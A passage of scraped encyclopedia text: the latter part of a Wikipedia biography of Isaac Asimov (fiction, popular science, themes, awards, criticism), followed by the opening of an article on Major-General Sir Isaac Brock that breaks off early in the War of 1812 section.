          Asimov first began reading the science fiction pulp magazines sold in his family's confectionery store in 1929. He came into contact with science fiction fandom in the mid-1930s, particularly the circle which became the Futurians. He began writing his first science fiction story, "Cosmic Corkscrew", in 1937, but failed to finish it until June 1938, when he was inspired to do so after a visit to the offices of Astounding Science Fiction. He finished "Cosmic Corkscrew" on 19 June, and submitted the story in person to Astounding editor John W. Campbell two days later. Campbell rejected "Cosmic Corkscrew", but encouraged Asimov to keep trying, and Asimov did so. Asimov sold his third story, " Marooned Off Vesta", to Amazing Stories magazine in October, and it appeared in the March 1939 issue. He continued writing and sometimes selling stories to the science fiction pulps.


          In 1941, he published his 32nd story, " Nightfall", which has been described as one of "the most famous science-fiction stories of all time". In 1968 the Science Fiction Writers of America voted "Nightfall" the best science fiction short story ever written. In his short story collection Nightfall and Other Stories he wrote, "The writing of 'Nightfall' was a watershed in my professional career... I was suddenly taken seriously and the world of science fiction became aware that I existed. As the years passed, in fact, it became evident that I had written a 'classic'".


          "Nightfall" is an archetypal example of social science fiction, a term coined by Asimov to describe a new trend in the 1940s, led by authors including Asimov and Heinlein, away from gadgets and space opera and toward speculation about the human condition.


          By 1941 Asimov had begun selling regularly to Astounding, which was then the field's leading magazine. From 1943 to 1949, all of his published science fiction appeared in Astounding.


          In 1942 he published the first of his Foundation storieslater collected in the Foundation Trilogy: Foundation (1951), Foundation and Empire (1952), and Second Foundation (1953)which recount the collapse and rebirth of a vast interstellar empire in a universe of the future. Taken together, they are his most famous work of science fiction, along with the Robot Series. Many years later, he continued the series with Foundation's Edge (1982) and Foundation and Earth (1986), and then went back to before the original trilogy with Prelude to Foundation (1988) and Forward the Foundation (1992). The series features his fictional science of Psychohistory in which the future course of the history of large populations can be predicted.


          His positronic robot storiesmany of which were collected in I, Robot (1950)were begun at about the same time. They promulgated a set of rules of ethics for robots (see Three Laws of Robotics) and intelligent machines that greatly influenced other writers and thinkers in their treatment of the subject. One such short story, " The Bicentennial Man", was made into a film starring Robin Williams.


          The 2004 film I, Robot, starring Will Smith, was based on a script by Jeff Vintar entitled Hardwired, with Asimov's ideas incorporated later after acquiring the rights to the I, Robot title. It is not related to the I, Robot script by Harlan Ellison, who collaborated with Asimov himself to create a version that captured the spirit of the original. Asimov is quoted as saying that Ellison's screenplay would lead to "the first really adult, complex, worthwhile science fiction movie ever made". The screenplay was published in book form in 1994, after hopes of seeing it in film form were becoming slim.


          Besides movies, his Foundation and Robot stories have inspired other derivative works of science fiction literature, many by well-known and established authors such as Roger MacBride Allen, Greg Bear, Gregory Benford and David Brin. These appear to have been done with the blessing, and often at the request of, Asimov's widow Janet Asimov.


          In 1948 he also wrote a spoof science article, " The Endochronic Properties of Resublimated Thiotimoline". At the time, Asimov was preparing for his own doctoral dissertation. Fearing a prejudicial reaction from his Ph.D. evaluation board, he asked his editor that it be released under a pseudonym, yet it appeared under his own name. During his oral examination shortly thereafter, Asimov grew concerned at the scrutiny he received. At the end of the examination, one evaluator turned to him, smiling, and said "Mr. Asimov, tell us something about the thermodynamic properties of the compound thiotimoline". After a 20-minute wait, he was summoned back into the Examination Room and congratulated as "Dr. Asimov."


          In 1949, book publisher Doubleday's science fiction editor Walter I. Bradbury accepted Asimov's unpublished novel "Grow Old Along With Me" for publication, and it appeared under the Doubleday imprint in January 1950 as Pebble in the Sky. Doubleday went on to publish four more original science fiction novels by Asimov in the 1950s, along with the six juvenile Lucky Starr novels under the pseudonym Paul French. Doubleday also published collections of Asimov's short stories, beginning with The Martian Way and Other Stories in 1955. The early 1950s also saw Gnome Press publish Asimov's positronic robot stories as I, Robot and his Foundation stories as the three books of the Foundation Trilogy.


          When new science fiction magazines, notably Galaxy Magazine and The Magazine of Fantasy & Science Fiction, appeared in the 1950s, Asimov began publishing short stories in them as well. He would later refer to the 1950s as his "golden decade". A number of these stories are included in his Best of anthology, including " The Last Question" (1956), on the ability of humankind to cope with and potentially reverse the process of entropy. It was his personal favorite and considered by many to be equal to "Nightfall". Asimov wrote of it in 1973:


          
            
              Why is it my favorite? For one thing I got the idea all at once and didn't have to fiddle with it; and I wrote it in white-heat and scarcely had to change a word. This sort of thing endears any story to any writer.


              Then, too, it has had the strangest effect on my readers. Frequently someone writes to ask me if I can give them the name of a story, which they think I may have written, and tell them where to find it. They don't remember the title but when they describe the story it is invariably "The Last Question". This has reached the point where I recently received a long-distance phone call from a desperate man who began, "Dr. Asimov, there's a story I think you wrote, whose title I can't remember" at which point I interrupted to tell him it was "The Last Question" and when I described the plot it proved to be indeed the story he was after. I left him convinced I could read minds at a distance of a thousand miles.

            

          


          In December 1974, the former Beatle Paul McCartney approached Asimov and asked him if he could write the screenplay for a science-fiction movie musical. McCartney had a vague idea for the plot and a small scrap of dialogue; he wished to make a film about a rock band whose members discover they are being impersonated by a group of extraterrestrials. The band and their impostors would likely be played by McCartney's group Wings, then at the height of their career. Intrigued by the idea, although he was not generally a fan of rock music, Asimov quickly produced a "treatment" or brief outline of the story. He adhered to McCartney's overall idea, producing a story he felt to be moving and dramatic. However, he did not make use of McCartney's brief scrap of dialogue, and probably in consequence, McCartney rejected the story. The treatment now exists only in Boston University's archives.


          Beginning in 1977, he lent his name to Isaac Asimov's Science Fiction Magazine (now Asimov's Science Fiction) and penned an editorial for each issue. There was also a short-lived Asimov's SF Adventure Magazine and a companion Asimov's Science Fiction Anthology reprint series, published as magazines (in the same manner as stablemates Ellery Queen's Mystery Magazine and Alfred Hitchcock's Mystery Magazine's "anthologies").


          


          Popular science


          During the late 1950s and 1960s, Asimov shifted gears somewhat, and substantially decreased his fiction output (he published only four adult novels between 1957's The Naked Sun and 1982's Foundation's Edge, two of which were mysteries). At the same time, he greatly increased his non-fiction production, writing mostly on science topics; the launch of Sputnik in 1957 engendered public concern over a "science gap", which Asimov's publishers were eager to fill with as much material as he could write.


          Meanwhile, the monthly Magazine of Fantasy and Science Fiction invited him to continue his regular non-fiction column, begun in the now-folded bimonthly companion magazine Venture Science Fiction Magazine, ostensibly dedicated to popular science, but with Asimov having complete editorial freedom. The first of the F&SF columns appeared in November of 1958, and they followed uninterrupted thereafter, with 399 entries, until Asimov's terminal illness. These columns, periodically collected into books by his principal publisher, Doubleday, helped make Asimov's reputation as a "Great Explainer" of science, and were referred to by him as his only pop-science writing in which he never had to assume complete ignorance of the subjects at hand on the part of his readers. The popularity of his first wide-ranging reference work, The Intelligent Man's Guide to Science, also allowed him to give up most of his academic responsibilities and become essentially a full-time freelance writer.


          Asimov wrote several essays on the social contentions of his time, including "Thinking About Thinking" and "Science: Knock Plastic" (1967).


          The great variety of information covered in Asimov's writings once prompted Kurt Vonnegut to ask, "How does it feel to know everything?" Asimov replied that he only knew how it felt to have the reputation of omniscience"Uneasy". (See In Joy Still Felt, chapter 30.) In the introduction to his story collection Slow Learner, Thomas Pynchon admitted that he relied upon Asimov's science popularizations (and the Oxford English Dictionary) to provide his knowledge of entropy.


          It is a mark of the friendship and respect accorded Asimov by Arthur C. Clarke that the so-called "Asimov-Clarke Treaty of Park Avenue", put together as they shared a cab ride along Park Avenue in New York, stated that Asimov was required to insist that Clarke was the best science fiction writer in the world (reserving second best for himself), while Clarke was required to insist that Asimov was the best science writer in the world (reserving second best for himself). Thus the dedication in Clarke's book Report on Planet Three (1972) reads: "In accordance with the terms of the Clarke-Asimov treaty, the second-best science writer dedicates this book to the second-best science-fiction writer."


          


          Other writing


          In addition to his interest in science, Asimov was also greatly interested in history. Starting in the 1960s, he wrote 14 popular history books, most notably The Greeks: A Great Adventure (1965), The Roman Republic (1966), The Roman Empire (1967), The Egyptians (1967) and The Near East: 10,000 Years of History (1968).


          He published Asimov's Guide to the Bible in two volumes covering the Old Testament in 1967 and the New Testament in 1969 and then combined them into one 1,300-page volume in 1981. Complete with maps and tables, the guide goes through the books of the Bible in order, explaining the history of each one and the political influences that affected it, as well as biographical information about the important characters. His interest in literature manifested itself in several annotations of literary works, including Asimov's Guide to Shakespeare (1970), Asimov's Annotated Paradise Lost (1974), and The Annotated Gulliver's Travels (1980).


          Asimov was also a noted mystery author and a frequent contributor to Ellery Queen's Mystery Magazine. He began by writing science fiction mysteries such as his Wendall Urth stories but soon moved on to writing "pure" mysteries. He only published two full-length mystery novels but he wrote several stories about the Black Widowers, a group of men who met monthly for dinner, conversation, and a puzzle. He got the idea for the Widowers from his own association in a stag group called the Trap Door Spiders and all of the main characters (with the exception of the waiter, Henry, who he admitted resembled Wodehouse's Jeeves) were modeled after his closest friends.


          Toward the end of his life, Asimov published a series of collections of limericks, mostly written by himself, starting with Lecherous Limericks, which appeared in 1975. Limericks: Too Gross, whose title displays Asimov's love of puns, contains 144 limericks by Asimov and an equal number by John Ciardi. He even created a slim volume of Sherlockian limericks (and embarrassed one fan by autographing her copy with an impromptu limerick that rhymed 'Nancy' with 'romancy'). Asimov featured Yiddish humor in Azazel, The Two Centimeter Demon. The two main characters, both Jewish, talk over dinner, or lunch, or breakfast, about anecdotes of "George" and his friend Azazel. Asimov's Treasury of Humor is both a working joke book and a treatise propounding his views on humor theory. According to Asimov, the most essential element of humor is an abrupt change in point of view, one that suddenly shifts focus from the important to the trivial, or from the sublime to the ridiculous.


          Particularly in his later years, Asimov to some extent cultivated an image of himself as an amiable lecher. In 1971, as a response to the popularity of sexual guidebooks such as The Sensuous Woman (by "J") and The Sensuous Man (by "M"), Asimov published The Sensuous Dirty Old Man under the byline "Dr. 'A'", but with his full name prominently displayed on the cover.


          Asimov published two volumes of autobiography: In Memory Yet Green (1979) and In Joy Still Felt (1980). A third autobiography, I. Asimov: A Memoir, was published in April 1994. The epilogue was written by his widow Janet Asimov a decade after his death. It's Been a Good Life (2002), edited by Janet, is a condensed version of his three autobiographies. He also published three volumes of retrospectives of his writing, Opus 100 (1969), Opus 200 (1979), and Opus 300 (1984).


          Asimov and Star Trek creator Gene Roddenberry developed a unique relationship during Star Trek's initial launch in the late 60s. Asimov wrote a critical essay on Star Trek's scientific accuracy for TV Guide magazine. Roddenberry retorted respectfully with a personal letter explaining the limitations of accuracy when writing a weekly series. Asimov corrected himself with a follow-up essay to TV Guide claiming despite its inaccuracies, that Star Trek was a fresh and intellectually challenging science fiction television show. The two remained friends to the point where Asimov even served as an advisor on a number of Star Trek projects.


          


          Literary themes


          Much of Asimov's fiction dealt with themes of paternalism. His first robot story, " Robbie", concerned a robotic nanny. "Lenny" deals with the capacity of robopsychologist Susan Calvin to feel maternal love towards a robot whose positronic brain capacities are those of a 3-year-old. As the robots grew more sophisticated, their interventions became more wide-reaching and subtle. In " Evidence", the story revolves around a candidate who successfully runs for office who may be a robot masquerading as a human. In " The Evitable Conflict", the robots run humanity from behind the scenes, acting as nannies to the whole species.


          Later, in The Robots of Dawn and Robots and Empire, a robot develops what he calls the Zeroth Law of Robotics, which states that: "A robot may not injure humanity, nor, through inaction, allow humanity to come to harm". He also decides that robotic presence is stifling humanity's freedom, and that the best course of action is for the robots to phase themselves out. A non-robot, time travel novel, The End of Eternity, features a similar conflict and resolution. The significance of the Zeroth Law is that it outweighs and supersedes all other Laws of Robotics: if a robot finds himself in a situation whereby he must murder one or more humans (a direct violation of the First Law of Robotics) in order to protect all of humanity (and preserve the Zeroth Law), then the robot's positronic programming will require him to commit murder for humanity's sake. Only highly advanced robots (such as Daneel and Giskard) could comprehend this law.


          In The Foundation Series (which did not originally have robots), a scientist implements a semi-secret plan to create a new galactic empire over the course of 1,000 years. This series has its version of Platonic guardians, called the Second Foundation, to perfect and protect the plan. When Asimov stopped writing the series in the 1950s, the Second Foundation was depicted as benign protectors of humanity. When he revisited the series in the 1980s, he made the paternalistic themes even more explicit.


          Foundation's Edge introduced the planet Gaia, obviously based on the Gaia hypothesis. Every animal, plant, and mineral on Gaia participated in a shared consciousness, forming a single super-mind working together for the greater good. In Foundation and Earth, the protagonist starts searching for the Earth, thinking that there he could find the answer of why he decided, in Foundation's Edge, that Galaxia was the right choice to take. Gaia is one of Asimov's best attempts at exploring the possibility of a collective awareness, and is compounded further in Nemesis, in which the planet Erythro composed primarily of prokaryotic life has a mind of its own and seeks communion with human beings.


          Foundation and Earth introduces robots to the Foundation universe. Two of Asimov's last novels, Prelude to Foundation and Forward the Foundation, explore their behaviour in fuller detail. The robots are depicted as covert operatives, acting for the benefit of humanity.


          Another frequent theme, perhaps the reverse of paternalism, is social oppression. The Currents of Space takes place on a planet where a unique plant fibre is grown; the agricultural workers there are exploited by the aristocrats of a nearby planet. In The Stars, Like Dust, the hero helps a planet that is oppressed by an arrogant interplanetary empire, the Tyranni.


          Often the victims of oppression are either Earth people (as opposed to colonists on other planets) or robots. In "The Bicentennial Man", a robot fights prejudice to be accepted as a human. In The Caves of Steel, the people of Earth resent the wealthier "Spacers" and in turn treat robots (associated with the Spacers) in ways reminiscent of how whites treated blacks, such as addressing robots as "boy". Pebble in the Sky shows an analogous situation: the Galactic Empire rules Earth and its people use such terms as "Earthie- squaw", but Earth is a theocratic dictatorship that enforces euthanasia of anyone older than 60. One hero is Bel Arvardan, an upper-class Galactic archaeologist who must overcome his prejudices. The other is Joseph Schwartz, a 62-year-old 20th century American who had emigrated from Europe, where his people were persecuted (he is quite possibly Jewish), and is accidentally transported forward in time to Arvardan's period. He must decide whether to help a downtrodden society that thinks he should be dead.


          Yet another frequent theme in Asimov is rational thought. He invented the science-fiction mystery with the novel The Caves of Steel and the stories in Asimov's Mysteries, usually playing fair with the reader by introducing early in the story any science or technology involved in the solution. Later, he produced non-SF mysteries, including the novel Murder at the ABA (1976) and the " Black Widowers" and "Union Club" short stories, in which he followed the same rule. In his fiction, important scenes are often essentially debates, with the more rational, humaneor persuasiveside winning.


          


          Awards


          
            	1957 Thomas Alva Edison Foundation Award, for Building Blocks of the Universe


            	1960 Howard W. Blakeslee Award from the American Heart Association for The Living River


            	1962 Boston University's Publication Merit Award


            	1963 special Hugo Award for "adding science to science fiction" for essays published in the Magazine of Fantasy and Science Fiction


            	1965 James T. Grady Award of the American Chemical Society (now called the James T. Grady-James H. Stack Award for Interpreting Chemistry)


            	1966 Best All-time Novel Series Hugo Award for the Foundation series


            	1967 Westinghouse Science Writing Award


            	1973 Hugo Award for Best Novel for The Gods Themselves


            	1973 Nebula Award for Best Novel for The Gods Themselves


            	1977 Hugo Award for Best Novelette for The Bicentennial Man


            	1977 Nebula Award for Best Novelette for The Bicentennial Man


            	In 1981 an asteroid, 5020 Asimov, was named in his honour


            	1987 Nebula Grandmaster award, a lifetime achievement award


            	1983 Hugo Award for Best Novel for Foundation's Edge


            	1992 Hugo Award for Best Novelette for Gold


            	1995 Hugo Award for Best Nonfiction for I. Asimov: A Memoir


            	1996 -- A 1946 Retro-Hugo for Best Novel of 1945 was given at the 1996 WorldCon to The Mule, the 7th Foundation story published in Astounding Science Fiction

          


          
            	14 honorary doctorate degrees from various universities

          


          
            	1997 posthumous induction into the Science Fiction and Fantasy Hall of Fame

          


          


          Criticisms


          One of the most common impressions of Asimov's fiction work is that his writing style is extremely unornamental. In 1980, science fiction scholar James Gunn, professor emeritus of English at the University of Kansas wrote of I, Robot:


          
            
              	

              	Except for two stories" Liar!" and " Evidence"they are not stories in which character plays a significant part. Virtually all plot develops in conversation with little if any action. Nor is there a great deal of local colour or description of any kind. The dialogue is, at best, functional and the style is, at best, transparent.... The robot storiesand, as a matter of fact, almost all Asimov fictionplay themselves on a relatively bare stage.

              	
            

          


          Gunn observes that there are places where Asimov's style rises to the demands of the situation; he cites the climax of "Liar!" as an example. Sharply drawn characters occur at key junctures of his storylines: In addition to Susan Calvin in "Liar!" and "Evidence", we find Arkady Darell in Second Foundation, Elijah Baley in The Caves of Steel and Hari Seldon in the Foundation prequels.


          Asimov was also criticised for the lack of sex and aliens in his science fiction. Asimov once explained that his reluctance to write about aliens came from an incident early in his career when Astounding's editor John Campbell rejected one of his early science fiction stories because the alien characters were portrayed as superior to the humans. He decided that, rather than write weak alien characters, he would not write about aliens at all. Nevertheless, in response to these criticisms he wrote The Gods Themselves, which contains aliens, sex, and alien sex. Asimov said that of all his writings, he was most proud of the middle section of The Gods Themselves.


          In the Hugo Award-winning novella " Gold", Asimov describes an author clearly based on himself who has one of his books ( The Gods Themselves) adapted into a "compu-drama", essentially photo-realistic computer animation. The director criticizes the fictionalized Asimov ("Gregory Laborian") for having an extremely nonvisual style making it difficult to adapt his work, and the author explains that he relies on ideas and dialogue rather than description to get his points across.


          Others have criticised him for a lack of strong female characters in his early work. In his autobiographical writings he acknowledges this, and responds by pointing to inexperience. His later novels, written with more female characters but in essentially the same prose style as his early SF stories, brought this matter to a wider audience. For example, the 25 August 1985 Washington Post's "Book World" section reports of Robots and Empire as follows:


          
            
              	

              	In 1940, Asimov's humans were stripped-down masculine portraits of Americans from 1940, and they still are. His robots were tin cans with speedlines like an old Studebaker, and still are; the Robot tales depended on an increasingly unworkable distinction between movable and unmovable artificial intelligences, and still do. In the Asimov universe, because it was conceived a long time ago, and because its author abhors confusion, there are no computers whose impact is worth noting, no social complexities, no genetic engineering, aliens, arcologies, multiverses, clones, sin or sex; his heroes (in this case R. Daneel Olivaw, whom we first met as the robot protagonist of The Caves of Steel and its sequels) feel no pressure of information, raw or cooked, as the simplest of us do today; they suffer no deformation from the winds of the Asimov future, because it is so deeply and strikingly orderly.

              	
            

          


          Be that as it may, a considerable portion of such criticism boils down to the charge that Asimov's works are simply dated. More precisely, some details of Asimov's imaginary future technology as he described in the 1940s and 1950s have not aged well. He, for example, described powerful robots and computers from the distant future as still using punch cards or punched tape and engineers using slide rules. In one dramatic scene in Foundation and Empire, a character gets the news by buying a paper at a vending machine.


          In addition, his stories also have occasional internal contradictions: names and dates given in The Foundation Series do not always agree with one another, for example. Some such errors may plausibly be due to mistakes the characters make, since characters in Asimov stories are seldom fully informed about their own situations. Other contradictions resulted from the many years elapsed between the time Asimov began the Foundation series and when he resumed work on it; occasionally, advances in scientific knowledge forced him to revise his own fictional history.


          Other than books by Gunn and Patrouch, there is a relative dearth of "literary" criticism on Asimov (particularly when compared to the sheer volume of his output). Cowart and Wymer's Dictionary of Literary Biography (1981) gives a possible reason:


          
            
              	

              	His words do not easily lend themselves to traditional literary criticism because he has the habit of centering his fiction on plot and clearly stating to his reader, in rather direct terms, what is happening in his stories and why it is happening. In fact, most of the dialogue in an Asimov story, and particularly in the Foundation trilogy, is devoted to such exposition. Stories that clearly state what they mean in unambiguous language are the most difficult for a scholar to deal with because there is little to be interpreted.

              	
            

          


          In fairness, Gunn's and Patrouch's respective studies of Asimov both take the stand that a clear, direct prose style is still a style. Gunn's 1982 book goes into considerable depth commenting upon each of Asimov's novels published to that date. He does not praise all of Asimov's fiction (nor does Patrouch), but he does call some passages in The Caves of Steel "reminiscent of Proust". When discussing how that novel depicts night falling over futuristic New York City, Gunn says that Asimov's prose "need not be ashamed anywhere in literary society".


          Although he prided himself on his unornamented prose style (for which he credited Clifford Simak as an early influence), Asimov also enjoyed giving his longer stories complicated narrative structures, often by arranging chapters in non- chronological ways. Some readers have been put off by this, complaining that the nonlinearity is not worth the trouble and adversely affects the clarity of the story. For example, the first third of The Gods Themselves begins with Chapter 6, then backtracks to fill in earlier material. (John Campbell advised Asimov to begin his stories as late in the plot as possible. This advice helped Asimov create " Reason," one of the early Robot stories. See In Memory Yet Green for details of that time period.) Patrouch found that the interwoven and nested flashbacks of The Currents of Space did serious harm to that novel, to such an extent that only a "dyed-in-the- kyrt Asimov fan" could enjoy it. Asimov's tendency to contort his timelines is perhaps most apparent in his later novel Nemesis, in which one group of characters live in the "present" and another group starts in the "past", beginning fifteen years earlier and gradually moving toward the time period of the first group.


          In 2002, Donald Palumbo, an English professor at East Carolina University, published Chaos Theory, Asimov's Foundations and Robots, and Herberts Dune: The Fractal Aesthetic of Epic Science Fiction. This includes a review of Asimov's narrative structures that compares them with the scientific concepts of fractals and chaos. Palumbo finds that though the traditional interests of literature (such as symbolism and characterization) are often somewhat lacking or even absent, a fascination with the Foundation and Robot metaseries remains. He determines that the purposeful complexities of the narrative build unusual symmetric and recursive structures to be perceived by the mind's eye. This volume contains some of the most scholarly and in-depth criticism of Asimov to date.


          John Jenkins, who has reviewed the vast majority of Asimov's written output, once observed:


          
            
              	

              	It has been pointed out that most science fiction writers since the 1950s have been affected by Asimov, either modeling their style on his or deliberately avoiding anything like his style.

              	
            

          


          TV and film appearances


          
            	Stranieri in America 1988


            	Oltre New York 1986


            	Voyage to the Outer Planets and Beyond 1986


            	Target... Earth? 1980


            	The Dick Cavett Show 1970


            	The Nature of Things 1969

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Isaac_Asimov"
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              	Isaac Brock
            


            
              	October 6, 1769(1769-10-06) - October 13, 1812 (aged43)
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              Portrait of Brock by John Wycliffe Lowes Forster
            


            
              	Nickname

              	The Hero of Upper Canada
            


            
              	Placeof birth

              	St Peter Port, Guernsey
            


            
              	Placeof death

              	Queenston, Upper Canada
            


            
              	Allegiance

              	[image: Flag of the United Kingdom] United Kingdom
            


            
              	Service/branch

              	[image: ] British Army
            


            
              	Yearsof service

              	1785  1812
            


            
              	Rank

              	Major-General
            


            
              	Battles/wars

              	French Revolutionary Wars

              War of 1812
            


            
              	Awards

              	KB
            


            
              	Otherwork

              	Lieutenant Governor of Upper Canada
            

          


          Major-General Sir Isaac Brock KB ( October 6, 1769  October 13, 1812) was a British Army officer and administrator. His actions while stationed in the Canadian colonies earned him a knighthood, accolades, and the epithet: The Hero of Upper Canada.


          Brock was assigned to Canada in 1802, and became responsible for defending the Canadian borders from the United States during the War of 1812. While many in Canada and Britain believed war could be averted, he began readying the army and militia for what was to come. When war broke out, the populace was prepared; quick victories at Fort Mackinac and Detroit crippled American invasion efforts.


          During Brock's time in Canada he faced desertions and near mutinies, but his actions earned him membership in the Order of the Bath, and fought in concert with "celebrated" American Indian leader Tecumseh. He died in the Battle of Queenston Heights.


          


          Early life


          


          Brock was born in St Peter Port on the Channel Island of Guernsey, the eighth son of a middle class family. He earned a reputation during his early education as an assiduous student, as well as an exceptional swimmer and boxer. He kept a reputation as an "unusually tall, robust" man throughout his life, and is said to have stood between 6ft2in (1.9m) and 6 ft 4 in (1.88 and 1.93 m) in height.


          


          Military service


          Although he is best known for his capture of Detroit and other actions in the War of 1812, Brock had a successful pre-war career, and a quick rise through the ranks which many commented on at the time. Some credited luck, and others skill, in his rapid promotions, and it is fair to say that Brock had substantial portions of both on his way to prominence. The fact that his promotions occurred in a time of peace, and that Brock had no special political connections, adds to how remarkable a rise it was.


          


          Early career


          At the age of fifteen, Brock joined the 8th (The King's) Regiment of Foot in 1785 with the rank of ensign,and was likely given responsibility for the regimental colours. Brock reached the rank of captain, and transferred to the 49th (Hertfordshire) Regiment of Foot on June 15, 1791.


          His nephew and biographer ( Ferdinand Brock Tupper) asserts that shortly after joining the regiment, a professional dueler forced a match on him. As the one being challenged, Brock had his choice of terms, and so he insisted that they fight with pistols. His friends were shocked, as Brock was considered only a moderately good shot, while this man was an expert. Brock, however, refused to change his mind. When the duelist arrived at the field, he asked Brock to decide how many paces they would take. Brock subsequently insisted that the duel would take place, not at the usual range, but at handkerchief distance. The duelist declined and subsequently was forced to leave the regiment. This contributed to Brock's popularity and reputation among his fellow officers, as this duellist had a formidable reputation, and was reportedly regarded as a bully in the regiment. During his time with this regiment, Brock served in the Caribbean. At some point during his service there, Brock fell ill with fever and nearly died; only recovering once he had returned to England.


          


          First command


          In 1797, Brock purchased the rank of lieutenant-colonel, and became commander of the regiment. In 1799, the 49th was assigned to an expedition against the Batavian Republic (now known as the Netherlands), to be led by Sir Ralph Abercromby. During the troop landings, Brock saw his first combat, on September 10, 1799, under the command of then-Major-General John Moore. Given that the 49th was in poor shape when Brock took command, they saw little of the actual combat. Likely Moore was sparing them, and using more experienced troops to establish the beachhead. Finally, on October 2, the 49th was actively involved in heavy combat, at Egmont-op-Zee, where they acquitted themselves well, only sustaining thirty-three fatalities. This was remarkable given the circumstances of the fight. The 49th had been ordered to proceed up the beaches of Egmont-op-Zee, a steep climb through sand dunes and poor terrain. The situation was exacerbated by harassment from French sharpshooters, who had excellent cover. After about six hours of heavy fighting, the attack was stopped about a mile (1.6 km) short of their objective. After an hour of close combat, including fist and sabre fighting, the French began to withdraw. Brock himself was injured in the fighting, when he was hit by a spent musket ball in the throat. A neck cloth prevented a possibly fatal injury. In his own words, "I got knocked down shortly after the enemy began to retreat, but never quitted [sic] the field, and returned to my duty in less than half an hour."
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              The Battle of Copenhagen
            

          


          In 1801, while aboard the 74 gun HMS Ganges (commanded by Captain Thomas Fremantle, a personal friend of Brock's), Brock was present at the Battle of Copenhagen, where it was intended that his troops would lead an assault on the forts at Copenhagen. Although the outcome of the battle made such an assault unnecessary, Brock observed first hand the tactical brilliance of Lord Nelson. After the battle, along with Fremantle, he was among those to personally congratulate Nelson. In 1802, Brock and the 49th Foot were ordered to Canada.


          


          Transfer to Canada


          Brock arrived in Canada, along with the rest of the 49th foot, and was initially assigned to Quebec City. As foot soldier Jake Batchelor put it, "Such a sweet sight had never been seen by the men in all our travels." Almost immediately, in 1803 he was faced with one of the primary problems in Canada, desertion. Seven soldiers stole a boat and fled across the border into the United States. Brock sent a party across the border in pursuit, and the men were captured.


          


          Mutiny


          A short time later, Brock was sent a report by an officer at Fort George that some of the garrison were planning to imprison the officers and flee to the U.S. Immediately, he boarded the schooner that had brought the message and went on it to Fort George, which was under the command of then-Lieutenant-Colonel Roger Hale Sheaffe. A hastily assembled honour guard formed to greet Brock's unexpected arrival. Accompanied by an orderly and another soldier who would form his reputation in Canada, James Fitzgibbon, Brock had the sergeant of the guard disarmed and confined. Then he entered the fort.


          As it was the dinner hour, all the soldiers were in barracks. Brock sent his orderly to bring him a soldier suspected of being one of the mutiny's ringleaders. As soon as he entered the room Fitzgibbon pinned the man and threatened to kill him if he cried out. One at a time, other suspected mutineers were captured in the same way. Finally, Brock ordered the drummers to assemble the men. They filtered out of the barracks and formed a line in front of Brock. Brock ordered that all men involved in the mutiny step forward, and a number did so, and were arrested. Brock then addressed the regiment, and asked for the obedience of those who had not known about the mutiny. The men pledged this obedience, and returned to the barracks.


          Brock sent the twelve mutineers and the seven deserters to Quebec for court martial. There it was discovered that the mutineers had planned to jail all the officers, save Sheaffe, who was to be killed, and then cross the Niagara River into the U.S. at Queenston. Seven soldiers were subsequently executed by firing squad. Ferdinand Tupper, then aged ten, was present at the trial and executions, and wrote about them to Brock. He described how the mutineers had testified that they were forced to such measures by the severity of Sheaffe, and how, had they continued under Brock's command, they would never have taken such action. Brock was evidently much moved by the letter. As a result of his continued competence, Brock was promoted to colonel on October 30, 1805.


          Interestingly, Brock's younger brother, John Savery Brock was compelled to retire from the Royal Navy after his involvement in a mutinous incident at Spithead.


          


          Pre-war preparations


          By 1806 the United States was becoming increasingly hostile to the British Empire, and relations between the two nations continued to deteriorate until war finally broke out in 1812. This hostility came from three sources: grievances at British violations of American sovereignty, restriction of American trade by Britain, and an American desire to gain territory by invading and annexing the poorly-defended British North American colonies. American grievances included the impressment of American sailors by the Royal Navy, the blockade of French ports and a belief that the British were inciting American Indians to attack U.S. settlements on the western frontier. War hawks in the U.S. called for an invasion of Canada to punish the British Empire and to lessen the threat to American interests represented by the Native Americans. At the same time, the American states were becoming crowded, and there was a growing attitudelater described by the phrase Manifest Destinythat the United States was destined to control all of the North American continent. American hawks assumed that Canadian colonists would rise up and support the invading U.S. armies as liberators, and that, as Thomas Jefferson famously assured the American public, conquering Canada would be "a mere matter of marching". In response to this emerging threat, Brock moved quickly to bolster Canadian defences. He strengthened the fortifications of Quebec by building walls and an elevated battery. Despite having little formal education, Brock succeeded in creating a formidable defensive position largely due to his reading, which included several volumes on the science of running and setting up artillery. He also rearranged and strengthened the Provincial Marine, (responsible for transport on the lakes and rivers), which led to the development of a naval force capable of holding the Great Lakes. This was to be pivotal during the war.


          In 1807, Brock was made a brigadier-general by Governor General Sir James Henry Craig. He was to take command of all forces in Upper Canada in 1810. During this time, Brock continued to ask for a posting in Europe. In 1811 he was promoted to major-general, and in October of that year, Lieutenant Governor Francis Gore left for England. Brock was sent to Upper Canada as Senior Officer Commander of the Troops and Senior Member of the [Executive]Council, putting him fully in charge of both the military and civil authority. He was usually referred to as President of the Council or Administrator of Upper Canada (never as Lieutenant Governor).Thus, when permission to leave for Europe finally came in early 1812, Brock declined the offer, seeing it as his duty to defend Canada in war against the United States.


          As Upper Canada's administrator, Brock made a series of changes designed to help Canada in the event of a war. He amended the militia act, allowing the use of all available volunteers, and he ordered enhanced training of these raw recruits, despite opposition from the provincial legislature. Furthermore, he continued strengthening and reinforcing defences. Also, Brock began seeking out First Nations leaders, such as the Shawnee chief Tecumseh, to see if they would ally with him against the Americans in the event of war. Although the conventional wisdom of the day was that Canada would fall quickly in the event of an invasion, Brock pursued these strategies to give the colony a fighting chance.


          


          The War of 1812


          


          Early war and the capture of Detroit


          
            [image: Governor General Sir George Prevost, whose approach to the war conflicted with Brock's]

            
              Governor General Sir George Prevost, whose approach to the war conflicted with Brock's
            

          


          The U.S. declared war on Britain on June 18, 1812. Brock's preparations meant that Canada was not unprepared for the war; however, Brock felt that those preparations would not be enough to keep the colony secure. In Upper Canada, besides the militia, there was only one British infantry regiment, a detachment of veterans and a company of artillery. These had to be dispersed between several widely separated posts. Brock did have one vital advantage in that the armed vessels of the Provincial Marine controlled the lakes, and allowed Brock to move his reserves rapidly between threatened points.


